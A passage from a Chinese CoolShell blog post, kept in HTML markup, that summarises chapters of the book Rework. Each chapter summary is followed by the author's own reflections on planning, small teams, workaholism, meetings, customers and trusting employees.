id=\"more-9156\"></span></p>\n<p><strong>相反的应该从成功中汲取养分。成功給予真正靠得住的教材。</strong></p>\n<p>失败并不是成功的先决条件。自然规律是，<strong>逗留在过去的失败中是无法进化的，进化是建立在成功的基础上的</strong>。</p>\n<blockquote><p><strong>感想</strong>：我见过和很多人都在抱怨这不好那不好，但是他们其实并不知道什么是好的，因为——没有见过好的，你将永远不知道什么是好的。就好像你没有见过什么是汽车，你就只会整天在抱怨为什么骑自行车太累。回头想想我们的编程的这个过程也是一样，我们编程技能的提高基本上都是在看到别人的那些漂亮优雅的代码。所以，你一定要去看看那些优秀人干是怎么想的，怎么干的，去那些成功的公司开开眼界。另外，你应该多想想你过去做成功过什么事？那些才是你的长处，才是让你进化的前提。</p></blockquote>\n<h4>计划就是瞎猜</h4>\n<p>除非你是算命先生，长期的商业计划是种幻想。有太多的事实证明那是超出你的掌控的：市场环境、对手、顾客、经济等等。做计划让你觉得一切尽在掌握但实际上你没有。</p>\n<p><strong>当你把计划变成猜测时，就等于进入一个危险的境地。做计划就是在用过去推导未来，等于给你戴上了眼罩。</strong></p>\n<blockquote><p><strong>感想</strong>：你有职业规划吗？如果你有的话，那么你就一定就错了。职业规划是一件很扯淡的事情。我和一些高手都交流过，其实这些人在当初都并不有什么职业规划的，要说有的话，也就是想把技术搞透搞精。这些人在一开始从来没有想过要当个什么经理或是什么架构师之类的东西，这些人就是对技术有非常大的热情，把身边的那些看得见够得着的事情做到好好地，并且保持不持续强大的好奇心努力地学习自己不懂的东西。一个坚定不移的决定和意志力会比任何的计划和职业规划都重要。<strong>你问问自己，想不想当程序员，能不能一辈子都当一个程序员，能不能写程序写一辈子？</strong>（关于做一辈子程序员这个事，大家可以看看我的<a href=\"http://weibo.com/1401880315/zmebaF5tQ\" rel=\"noopener\" target=\"_blank\">新浪微博</a> ——<em>没哪个行业能像计算机行业这么活跃、刺激和有趣了。不仅是新兴工业革命的主力，又渗入到所有的行业中，干一辈子值了。//<a href=\"http://weibo.com/n/_%E4%BD%A0%E4%BA%B2%E7%88%B1%E7%9A%84%E5%81%8F%E6%89%A7%E7%8B%82\">@_你亲爱的偏执狂</a>: 程序员首先是工程师，Professional，就跟律师，医生一样，给大家解决问题；但是另一面呢，又是艺术家，创造新奇好玩的东西。这样的职业做一辈子有什么问题？</em>）</p></blockquote>\n<h4>拒绝壮大</h4>\n<p>规模越大你就得承受更大压力、需要更专业、拥有更强的能力。</p>\n<p><strong>有没有注意到，一个小公司希望自己变大时，大公司却想要变得灵活变通</strong>。记住，一旦你变大了就很难在不解雇人、不破坏士气、不改变你的整个商业路线的情况下收缩规模。</p>\n<p>扩张不必成为你的目标。我们也不是仅在讨论你已有员工数。 还有花费、租金、IT 基础结构、设备等。这些事情不会碰巧发生。 你来决定是否承受这些。如果你决定去承受，你也将遇到新的头痛问题。花费那么多，你强迫自己构建一个复杂的生意，有一大堆困难而高压的事情要解决。</p>\n<p><strong>小公司并不是一个起步，小公司本身就是一个伟大的目标。</strong></p>\n<blockquote><p><strong>感想</strong>：很多人都会以为拥有一支成百上千人的团队而成为一个成功的标志。就像很多朋友和猎头都会问我管多少人，当我说，我就管个十人不到的团队时，他们似乎都会觉得我很平庸。他们中的一些人基本上就不会再问我在干些什么了，因为他们可能觉得这么少的人都干什么大事呢？。当然，我说了他们也不一定听得懂。人多可能恰恰说明你可能在干一个劳动密集型的事情，这并没有什么可自豪的。真正自豪的不是在战争中用人海战术让大量的人去当炮灰，而是用一个小分队端掉敌军的军火库或指挥部。所以，<strong>关键不是你有多少人，关键是你做的事是不是有非凡的意义，而且你用了最小当量的资源。这就好像建立一个高性能的网站一样，用成百上千的服务器不算本事，谁用的少才是本事</strong>。</p></blockquote>\n<h4>工作狂</h4>\n<p>工作狂的行为不但没有必要，而且愚蠢至极。过多的工作并不代表你对项目更关注，也不代表你作了更多的贡献，这仅仅意味着你干了更多的活而已。<strong>工作狂制造的麻烦比解决的麻烦多</strong>。</p>\n<p>工作狂往往不得要领。他们花大把大把的时间去解决问题，<strong>他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案</strong>。</p>\n<p><strong>如果你只是为了工作而工作，那么你就会丧失判断力。你的价值 观和决策方式都是扭曲</strong>。你没有能力去判断哪些工作值得做，哪些工作该放弃，最后搞得自己筋疲力尽，而一个筋疲力尽的人是无法作出明智的决定的。</p>\n<p><strong>工作狂不是英雄。他们不是在节约时间而是在浪费生命。真正的英雄早已想出了办法，搞定一切，然后回家了。</strong></p>\n<blockquote><p><strong>感想</strong>：这让我想到了那些为了冲业绩的业绩KPI的制订者们，很多时候，他们的价值观和决策真是的很扭曲的。他们生生地把一种技术密集型的工作变成了劳动密集型。<strong>他们其实就是在拼命地训练客户需要的那匹“更快的马”，而从来没有想过要去造个更快的交通工具。</strong></p>\n<p>另外，每当我在优秀员工的评比和员工的绩效考核中的跨团队比较中我们能听到很多很多的人说，XX员工工作任劳任愿，工作得很晚很晚，付出很大。老实说，我真的为这样的价值观感到悲哀。最后，我还想说说关于超时工作，我也经常学习和做自己的事情到深夜，我相信很多人也这样，但我们应该认真思考一下Rework中的这个观点，<strong>我们超时工作是在使用蛮力呢？还是在使用热情和兴趣呢？</strong></p></blockquote>\n<h4>挠自己的痒处</h4>\n<p>想要创造一款伟大的产品或者是某项卓越的服务，最直接、最简单的方法就是去做你自己想用的东西。设计你了解的产品——你就能很快发现它到到底好不好用。</p>\n<p><strong>最棒的是，“解决你实际遇到的问题”会让你爱上你做的事情</strong>。 你知道问题所在并且熟知解决它的价值。这是无法替代的。毕竟，你会充满希望的在接下来的日子里继续做。 甚至会占据你余生所有时间。所以，最好还是做自己真正关心的东西。</p>\n<blockquote><p><strong>感想</strong>：这就是吃自己的狗食，做自己感兴趣的事。软件项目中，我最恨的就是那种闭门造车造出来的自己都不用的东西（不是从已有业务生长出来的东西），以及那些自己不动手就在边上指指点点的各种咨询师或是喜欢动用行政命令的高层管理者。</p>\n<p>但是，在这里，我更想说说我所理解的另一层“挠自己痒处”——有天我和一前前同事聊天，她说她在那家公司十多年了，现在老了，虽然心不老还想折腾，但是对自己的能力没自信，求稳了。我听到很多朋友想对自己有个改变，比如有QA的同学想做开发，有生活在内地的朋友想来大城市的大公司里有更爽的经历，<strong>这些人明明想活得更有激情，但最终在现实面前认命妥协。我说既然有痒处，还比较痒，那就应该毫不犹豫革自己的命，轰轰烈烈地活一次</strong>。别等老了后悔当年没有勇气。“挠自己痒处”就是挑战自己，革自己的命，既然想了，就做吧，生命只有一次，值得我们轰轰烈烈地去为之付出。</p></blockquote>\n<h4>“没时间”不是借口</h4>\n<p>人们最常用的借口是：“时间不够。”他们宣称很想开一家公司，学一种乐器，写一本书，等等，但时间不够用。拜托，如果你善加利用，时间总是有的。</p>\n<p>把看电视或玩魔兽的时间腾出来完成你的创意；把10点上订改成11点上床，这不是怂恿你通宵达旦或是一天干足16个小时——我们要说的是，第周匀出一些业余时间来，就足够你去做些事情了。</p>\n<p>当你拥有某种强烈的渴望时，你就能挤出时间来——不管你身上是否背负着其他责任。<strong>事实上，真相是大多数的渴望并不是那么强烈。于是他们拿时间当借口来自我开脱。别给自己错口。</strong></p>\n<p>另外，永远会有正当其时的时候，你总会觉得自己会么太年轻，要么太老，要么太忙，太穷，或是别的什么原因。<strong>如果你总是为遇到一个完美时机而发愁，那么，完美的时机绝对不会到来</strong>。</p>\n<blockquote><p><strong>感想</strong>：我在“<a href=\"https://coolshell.cn/articles/7048.html\" rel=\"noopener\" target=\"_blank\" title=\"挑战无处不在 \">挑战无处不在</a>”中也表达过这样的观点，<strong>关于热情和态度，说白了就是不要给自己找借口</strong>。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。而且，如果你只能在万事俱备的情况下才能做事，那么，你还有什么价值呢？人的价值和竞争力就是在条件并不完美的时候还能搞定事情。</p></blockquote>\n<h4>画沙为界，立场明确</h4>\n<p>坚定的信念能为你赢得超级粉丝，他们会为你马首是瞻，会舍身保护你，他们充满激情的口碑传播将胜过这世间一切的广告。</p>\n<p>强大的主见，也是要付出代价的，在这个过程中，会有人诋毁你，说像傲慢，冷漠。没办法，这就是人生，有人喜欢你，就有人憎恨你。如果你的说法没有引起任何人的心烦意乱，只能说明你的推广力度可能还不够。（也可能代表你比较无趣）</p>\n<p><strong>对我们来说，我们的产品所不能处理的和我们的产品所能处理的一样令人感到骄傲</strong>。</p>\n<p>我们的产品不适合每一个人，没有关系，我们愿意为了那些更加深爱我们的客户而放弃另一部分客户。这就是我们的立场。</p>\n<blockquote><p><strong>感想</strong>：我从来不想做一个大众脸。酷壳上有很多比较有争议的文章，也有很多人说我很极端，偏执，有优越感，清高……，说什么的都有，无所谓。我有一个做新闻编辑的太太，主辑要求文章要客观和没有观点，不温不火，本来好好的一篇有观点的文章被编辑过后只剩下了一堆食之无味的文字。<strong>我喜欢有鲜明的观点，因为鲜明的观点和立场能不但能让文章鲜活起来，而且还能迎来更多的不同意见和更多的思考</strong>（而不只是“顶”“赞”之类无意义的回复）。我并不希望我的观点是正确的，我只希望能和更多的人加入我一同思考，而思考最佳的催化剂就是争论。我从这个行为中收益到了很多很多。</p></blockquote>\n<h4>找好退路无异于失败</h4>\n<p>你还常常听到：“你的退出战略是什么？（万一不成功，你怎么办）”甚至在你刚开始启动时就听到它。这些人不知道怎么开始就要想到怎么结束？急什么呢？如果在全情投入之前就想怎么撤出，这种逻辑不是一般的混乱。</p>\n<p>你正打算恋爱一场就计划着分手？你在第一次约会时就签订婚前协议？你会在婚礼早上先约见离婚律师？那也太荒谬了吧。</p>\n<p><strong>你需要的是承诺战略而不是退出战略。你要考虑的是你的项目怎样发展和成功，而不是怎样撤退</strong>。如果整个战略是基于撤退的，一开始你就不会有机会成功。</p>\n<blockquote><p><strong>感想</strong>：几年前，我有一个朋友被创新工场忽悠从美国退学回来创业，我非常质疑他退学创业这个事。他对我说，没事，反正就算失败我也不会失去什么。还有一个朋友一年前从美国回国创业，也对我说，就算没搞好也没什么。我都对他们说，如果你以为用试一试的态度就可以把一个事情搞成功，那么你让这世上那些Full Time全天候从事这个事情的并有一些积累的人情何以堪？如果你创业时都想好了失败，那就说你你对这个事没有必胜的信心，也说明连你自己都不相信这个事，你还干个什么劲啊？<strong>你与其把时间用在思考如果创业没成功你会怎么办上，你还如去思考一下如何做才有更大的胜算</strong>。</p></blockquote>\n<h4>条件受限是好事</h4>\n<p>“我没有足够的时间、钱、人手、经验”。不要现无谓的抱怨了。“少”不是什么坏事。“条件受限”貌似缺陷，实力优势。有限的资源能激发你在现有的条件下完成任务的能力。没有一点浪费空间，一切都需要你发挥最大的创造力。</p>\n<p>你见过囚犯用肥皂和汤勺制作武器吗？你们是“创新”的典范。只有在条件受到限制时，我们才会发挥出“小材大用”的能力。</p>\n<blockquote><p><strong>感想</strong>：我相信这世上很多事情都是被条件受限逼过去的。我回想到我以前经常在干的性能调优，想尽一切办法榨干系统资源这件事上，我就无法不赞同这句话。想想淘宝的TFS，就是一个因为条件受限到了不得不自己干的时候，被逼出来的东西。如果你没有足够多的人，你才会去想要怎么去优化工作和开发效率，于是才会逼着你去开发一些自动化的工具，而这些工具恰恰解放了生产力可以让你更快地干更多的事。<strong>只有条件受限，才会从劳动密集型中激发出知识密集型的东西</strong>。再回到以前我的那篇“<a href=\"https://coolshell.cn/articles/6994.html\" rel=\"noopener\" target=\"_blank\" title=\"我们需要专职的QA吗？\">是否需要专职的QA</a>”一文说的到东西，如果你有很多很多帮你做测试的QA，你就不会去测试，你的团队也就不会有自动化测试等工具。这就好像在中国这个劳动力又多又廉价的大国下，基本上不需要你在技术上的创新，你只需要去不断地迁就这些低端用户，迁就这些用户越多，你还能有什么重大创新吗？真正的创新是帮助用户成长，而不是迁就用户。</p></blockquote>\n<h4>与其做个半成品，不如做好半个产品</h4>\n<p>同时做N件事的结果就是：一大把绝妙的点子最后被转化成一个蹩脚的产品。</p>\n<p>有舍才有得，砍掉多余的野心，你就会发现慢慢做一件正事要胜过毛毛躁躁地做一堆傻事。</p>\n<p>很多东西都是越简短越好。拿起斧子动手砍吧，为了一个“伟 大”的起点，让我们把那些“挺不错”地枝节给砍掉吧。</p>\n<blockquote><p><strong>感想</strong>：这正如“<a href=\"https://coolshell.cn/articles/3605.html\" rel=\"noopener\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">为什么中国的网页设计这么烂</a>”中说的：“中国的学生只是去记忆东西而不是真正的理解。他们从来不花时间去思考，而只是贪婪地去获取更多的信息”。与其记忆那么多的东西，还不如好好理解部分的东西。还有一种说法是：“Done is better than Perfect!”，这句话某些时候说得也挺对的，尤其是对于那些完美地长期不能Done的项目。但是Done一个Ugly的东西还不如不做。所以平衡Done和Perfect的方式正好就是这句话——“与其做个半成品，不好做好半个产品”，因为，<strong>一个半成品会让人绝望，而半个好产品会让人有所期望，这就是其中的不同</strong>。</p></blockquote>\n<h4>关注不变因素</h4>\n<p><strong>很多公司和人都关注即将到来的大事件。他们热衷于新鲜热辣的事物，追逐最新的潮流和技术</strong>。</p>\n<p>这是一条愚笨之路。一旦走上这条路，你就会关注时髦、放弃本质，把注意力放到不断变化的事物上，而不是持久不变的事物上。</p>\n<p>你的事业的核心应该建立在不变的基础之上。<strong>你应该投资于那些人们现在需要，并且十年后仍然需要的事物上</strong>。</p>\n<p>要记住，时尚会凋零。只有当你聚焦于长久的功能时，你才会发现自己把握住了永不落伍的东西。</p>\n<blockquote><p><strong>感想</strong>：一年多前，我在《<a href=\"https://coolshell.cn/articles/5815.html\" rel=\"noopener\" target=\"_blank\">来信、创业和移动互联网</a>》中谈到过那个时尚的“移动互联网”，说了四个方向：阅读，分享交流，电商，推荐/提醒。大家可以看到现在地铁上已经不像以前很多人都在看报纸了，而是很多人都在看手机。而手机端的社交（分享和交流），电子商务，以及很多推荐、提醒都越来越火了。这些东西都是都是“常量”——十年前存在，未来十年也会存在，我们看到很多人太过着眼于手机上的应用，而不是那些不变的因素。今天还有两个巨火无比的流行词，一个是云计算，一个是大数据，那些一听到这两个词就会兴奋的人，我不知道他们有没有真正理解这两词？他们真正理解了云计算其实就是那个N多年前就提过的IT服务，关于大数据，我完全不知道为什么会火，你会因为听到中国人口有13亿你就会兴奋吗？老鼠的数量比较这个更多呢，呵呵。其实，数据无所谓大小之分，只有好数据和烂数据之分，还热数据和冷数据之分。十年前有两个更为流行的词：一个是计算网格，一个是数据网格，这两个词5年前就凋零了，今天的云计算和大数据，有多少人意识到了其中有什么相通的，或是其中的不变因素是什么？<strong>大数据和云计算其实都在描述两个东西，一个是超大规模的计算能力，另一个则是服务。还有一个词是“平台化”，这可能被大家忽略了，通过平台进行计算和数据服务，这才是那计算机存在以来基本不变的东西，无论你是移动互联网，还是互联网，不管是云计算，还是大数据，都需要一个平台提供服务</strong>。</p></blockquote>\n<h4>会议有毒</h4>\n<p>世人最可恨的打扰莫过于开会。原因是：</p>\n<ul>\n<li>会议中充斥着纸上谈兵和抽象的概念，大多是不切实际的。</li>\n<li>会议中能传达的信息量少之又少。</li>\n<li>人们在会议中容易跑题，堪比暴风雪里的芝加哥出租车还容易迷失方向。</li>\n<li>会议要求做充分的准备，但是大多数人没有时间准备这些。</li>\n<li>会议制定的议程常常是模糊的，根本就没有人真正清楚目标是什么。</li>\n<li>会议中难免会轮到那么一两个低能人士发言，于是大家的时间都浪费在他们的扯淡上了。</li>\n<li>会议具有自我繁殖功能。一次会议总能导致另外一次，以及再导出下一次，生生不息……</li>\n</ul>\n<blockquote><p><strong>感想</strong>：这世上除了“他爹的TDD”开发模式，还有“他妈的TMD”开发，就是Team Meeting Driven，很多公司有太多太多的会要开了，开会基本上成了每天工作最主要的东西，对于一些管理者来说一星期中居然有80%时间都在开会。其实，这么多的会议并不意味着你在管理，只是意味着你对要管的东西完全不知道，需要通过开会来了解。很多会完全是没有议题的，大家坐在一起东拉西扯，非常非常地低效。我通常把这种会叫做“神仙会”，用个流行语来说，就是Cloud Meeting，大家神一要的各说各的，似乎，没有这种形式，不能证明参会者的存在，用会议来证明他们的存在，相当的可笑。对我来说，<strong>如果只是带一个或几个问题来开会，简直是就是扯谈，如果对于问题没有几个备选的解决方案和各方案的评估，完全没有必要开会</strong>。Amazon的会议是不会有PPT的，会议组织者会要要讨论的东西写好并打印出来，在会前给参会者把要讨论的东西打印出来，开会前10分钟左右，会场里没有任何声音，每个人都在读文档，全部人读完后，直接对议题发表自己的个人意见应该怎么干，然后很快形成共识，散会。</p></blockquote>\n<h4>人人都得干活</h4>\n<p>在一个小团队里，你需要的是干活的人，而不是监工。每个人都得做事，没有人可以袖手旁观 。</p>\n<p>这意味着你在招聘中要避免招到监工型的人物，这些人喜欢对别人谆谆教导。对于小团队来讲监工型的人就是累赘。</p>\n<p>监工们还喜欢把人拖去开会。实际上，会议是监工们最好的朋友，因为只有在开会时才显得出他们的重要。</p>\n<blockquote><p><strong>感想</strong>：<strong>为什么会有办公室政治，那就是因为这个公司里有一部分人不干活，不做事，</strong>于是，他们就有大量地时间开始胡思乱想，他们花大量的时间不是想怎么去做事，而是想自己怎么更容易的打垮别人得到上面的认可，从而得到晋升。在大公司中这样的情况会比Startup的公司多得多。所以，如果你不想滋生办公室政治，那么你需要干两个事，第一个是最好不要变成大公司，第一个是让每个人都在实干。我最近看到其大公司，虽然很多东西不规范，而且很多东西在野蛮生长，有些事情也有点土，但绝大多数人都在实干，所以，只要每个人都在实干，就算干的方式不好，干出来的东西有问题，也比那些滋生办公室政治的公司强上几百倍</p></blockquote>\n<h4>拒绝照搬 &amp; 将你的产品去商品化</h4>\n<p>有时候，照猫画虎也是一种学习过程，就好像艺术系的学生通过临摹美术馆的作品来学习绘画。当你还是一个学生时，这种模仿是一种很有效的学习工具。不幸的是，商业战场上的模仿却不招人待见。而这也意味着你打算通过当盲从者或抄袭者的方式来建立你的事业，这注定是一个失败模式。</p>\n<p>模仿的问题在于，简单的复制扼杀了深层的理解——而理解才能激发成长。你不但要知其然，还要知其所以然。而当你复制时，你会忽视这一点。你照搬的只是表面，而不是本质。</p>\n<p>一旦你扬名立万，模模仿者会蜂拥而至，这就是生活。但你可以用一种绝佳的方式来保护自己不被 他们吞没：让你自己成为你的产品或服务的一部分。</p>\n<blockquote><p><strong>感想</strong>：在《<a href=\"https://coolshell.cn/articles/7617.html\" rel=\"noopener\" target=\"_blank\" title=\"抄袭，腾讯 和 产品\">抄袭，腾讯 和 产品</a>》中我谈到过这个事情，虽然我对抄袭和山寨很反感，但是我不得不承认这是这个世界的一部分，好的东西总是会被人复制的，这也不一定是一个坏事，这会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那堆抄袭者，其中还不乏有钱有人的专业抄袭的公司。而面对被抄袭这样的事情，最好的解决方法是着眼着远期而不是短期——<strong>如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的，因为长期并不符合抄袭者的价值观</strong>。</p></blockquote>\n<h4>做得比对手少</h4>\n<p>传统智慧告诉我们，要想打败竞争者就要胜人一筹。如果人家有 4 个功能，你就得 5 个（或者 15 个，25 个）。如果人家花了$20,000，你就得花 $30,000。如果人家有 50 个员工，你就得要 100 个。</p>\n<p>这样的冷战式的攀比思维会把人引上绝路。一旦被卷入“军备竞赛”，你就陷入了一场无止境的战争，这场战争会让你耗费大量的金钱、时间和动力。并且使你陷入长期的防御战中。处于防御状态的公司是没有预见力的；他们只能后知后觉，他们无法领跑，只能尾随。</p>\n<p>那么你应该怎么做呢？比你的竞对手做得少，以此来打败他们。<strong>让自己去解决简单的问题，把那些纠结的、麻烦的、艰难的、讨厌的难题留给竞对手去解决</strong>。不要总想着去胜人一筹、去超过别人，试试相反的做法。</p>\n<p>不要因为你的产品或服务不如别人的花哨就感到自惭形秽。把他们做得醒目高调，并引以为傲。就像对手那些强有力的销售他们多功能的产品一样销售你那简约的产品。</p>\n<blockquote><p><strong>感想</strong>：一个最典型的例子就是iPad，它干得比Laptop少，比上网本少，就是一个很简单的上网和简单游戏的设备，但是他有非常简单的用户体验，让两三岁的儿童和六七十岁的老人都能很快上手。你相信吗？我花了好多年都没教会我父母用电脑以及手机里除了电话功能外的其它功能，但我只花了10分钟就教会他们使用iPad上网了。这就是“做得比对手少”的强大。<strong>只有简约的东西，才会显得更精致，才会显得更专业</strong>。</p></blockquote>\n<h4>谁在乎他们在干什么</h4>\n<p>不管怎样，终究是不值得过于关注你的竞争者。为什么？因为<strong>关注别人太多会让自己受到困扰</strong>。他们现在在做什么？他们下一步呢？我们该怎样作出回应？</p>\n<p>每一个小小的动作都会被分析一下。那是一种可怕的心态。这会产生不可抗拒的压力和焦虑。这样的想法会滋长不好的东西。</p>\n<p>这是没有意义的事情。竞争者的风景时时在变。你的竞争对手明天一个样儿，今天一个样儿。完全在你控制之外。去担心你所不能控制的事情有意义吗？</p>\n<p>过于关注竞争者会混淆你的视野。当你一直吸收别人思想时， 你的机会则会减少。你变得反动而不是充满想象力。你只不过是将你竞对手的产品换了个包装。</p>\n<p>如果你打算做一个“the iPod killer”或“the next Pokemon”，你已经死了。你是在承认你的竞争者所设定的参数。你没有跳出 Apple 的套路。他们制定了这个游戏规则。你不可能打败制定规则的那个人。你必须重新制定一个规则，而不是稍微改建一点点。</p>\n<blockquote><p><strong>感想</strong>：这个社会浮躁之处就在于我们太多的观注了别人，人比人气死人。我们很多人都注意到了别人的风光，看到别人创业被注资，看到别人找到了好的工作，看到了别人不走正道而发达，看到了别人很轻松还挣得多，甚至看到别人的粉丝比自己多，等等，等等，这些东西让自己的心态变，变得非常地不淡定了。眼红也是魔鬼，因为眼红让人心理扭曲了的例子还少吗？<strong>不要在乎别人干了什么，你应该多看看自己的长处是什么，每个人都有每个人的路，你要做的是按照自己的节奏和自己擅长的方式行事，而不是小猫钓鱼</strong>。</p></blockquote>\n<h4>养成对客户说“不”的习惯</h4>\n<p>说“好的”很容易。我们很容易接受同意一个新功能、同意一个过于乐观的截止日期、笑纳一个平庸的设计。很快，一大堆你曾经说“yes”的事情就发生连锁反应，很多你不想要的东西越堆越高，甚至你都看不出原来想要的东西。</p>\n<p>别相信“顾客永远是对的”这类的话。如果你是一个大厨，你的很多客人说你做的菜太咸或者太烫，你可以改。但是如果有一些挑剔的老主顾要求在宽面条里面加些香蕉，你千万不要理会他们，没关系。若是为了少数顾客的要求而毁了产品不值得。</p>\n<p><strong>你的目标是确保你的产品与就是和你合拍的产品，你就是你自己产品最踏实的粉丝。你是最信赖它的那个人</strong>。那样的话，你会说：“我想你也会爱它的，因为我爱它。”</p>\n<blockquote><p><strong>感想</strong>：亨利福特说过：“如果我要问我的客户要什么，他们会告诉我他们要一匹更快的马”，所以，过份的迁就用户并不是一件好的事，相反会是一件很不好的事。互联网和电视节目一样都有一个万恶的KPI，电子节目那万恶的KPI是收视率，而互联网的万恶KPI是流量。于是<strong>很多公司为了流量开始不择手段，就像电视节目用庸俗化来提高收视率一样，我们的一些互联网产品也使用庸俗化的东西来提高流量。我们要做的是一个让人称道的有品质的产品，而不是一个只有访问量的产品</strong>。</p></blockquote>\n<h4>不要攀客户的高枝</h4>\n<p>也许你曾经见过这样的场景：一个顾客向一家公司投了很多钱。这家公司想要尽可能的取悦那个顾客。为了迎合这个客户的要求而改变自己的产品，渐渐地，你的产品就会脱离普遍客户的基础。</p>\n<p>而且，突然有一天，这个大客户绝尘而去，公司则会背负一个包袱——这个产品是围绕着一个已经离开了的人设计的。而其他人没法用。</p>\n<p>人在变，环境在变，你不可能满足所有人的所有要求。<strong>公司要对某一类型的客户全情投入，而不是对某个善变的客户唯唯诺诺</strong>。</p>\n<blockquote><p><strong>感想</strong>：你永远要找到自己的定位，你不可能满足所有的人。就像屌丝们喜欢的北京的动物园批发市场和高富帅们喜欢的北京燕莎商场一样，他们分别定位于不同的用户。你的产品从生下来的那一时刻就应该需要做好定位，是面对什么样的人群。而且，你也不可能实现所有人的需求的。有时候，失去一些客户并不是坏事，<strong>我们要做的是管理我们的客户，让客户认同我们，而不是被客户牵着走</strong>。</p></blockquote>\n<h4>一夜成名只是传说</h4>\n<p>你不会瞬间大红大紫，也不会一夜暴富，你所了解的那些道听途说的“一夜成名”的故事，深挖一点，你就能发现这些成功人士在到达引爆点之前，都已经在这个方向 上苦熬了很长时间。</p>\n<p>把一夜成名的迷梦换成一步一个脚印的成长行动吧。道路很艰难，但你必须充满耐心。你得用功去做，在遇到伯乐前，你得努力很长时间。</p>\n<blockquote><p><strong>感想</strong>：这和我在<a href=\"https://coolshell.cn/articles/8790.html\" title=\"程序算法与人生选择\">程序算法与人生选择</a>一文中所说的那个最短路径的算法的类比一样，与其展望要当什么架构师或是要成为牛人的憧憬，不如把身边看得见够得着的东西学扎实，干出色。一夜成名只是一个传说，你知道酷壳是因为我写十多年的博客，你知道我是因为我积累了十多年的编程，看看酷壳以前介绍过的<a href=\"https://coolshell.cn/articles/5651.html\" rel=\"noopener\" target=\"_blank\">王平同学</a>吧。<strong>很多事情都不是偶然的，都是有前兆的，还是我<a href=\"https://coolshell.cn/articles/7048.html\" rel=\"noopener\" target=\"_blank\">以前说过的那句话</a>，“如果一件事情以前没有发生过，未来也不会发生”，比如：如果你在学校里，在工作里，你的同学和同事并不经常来向你请教询问你的意见，那么你基本上很难成为一个Leader</strong>。</p></blockquote>\n<h4>员工不是13岁</h4>\n<p><strong>当你把员工当孩子看时，人们就会像孩子一样行事</strong>。</p>\n<p>当公司里事事都要上报审批时，你就创造出了一种无脑文化。你成功地制造出了老板和员工之间的对立关系。这种关系在咆哮着：“我不相信你！”</p>\n<p>当你处处限制员工，比如禁上他们在上班时访问外部网站或是开小差，你会得到什么好处？什么也得不到。人们需要开小差，这有助于打破整日的枯燥单调，花点时间上上Youtube或Facebook不会失去什么。</p>\n<p>如果你要监控你的员工，你得想想你要花多少时间和金钱来监管员工。你浪费了多少钱去安装监控软件？你浪费了多少人力资源去监视员工？你浪费了多少时间去写没有人会看的规章制度？<strong>看看这些成本，你很快就发现，对员工的不信任才是最大的开销</strong>。</p>\n<blockquote><p><strong>感想</strong>：我始终在跟我的团队成员说，最有效的管理就是自己管理自己，而不是还要专们的人来管你。不然的话，你一定会很难受的。如果你能管理好你的工作和任务，我们就不需要项目经理。如果你能管理得好你的做事的方法和流程，就不需要那些搞流程的。如果你能管理得好你的程序质量，我们就不需要QA来监管你…… 等等。<strong>其实，你们如果能管理得好自己，并能自我进化。你们甚至不需要一个经理。但是，你们可能会需要一个为你们跑腿打杂的人，其实，那个人就是经理</strong>。</p></blockquote>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a 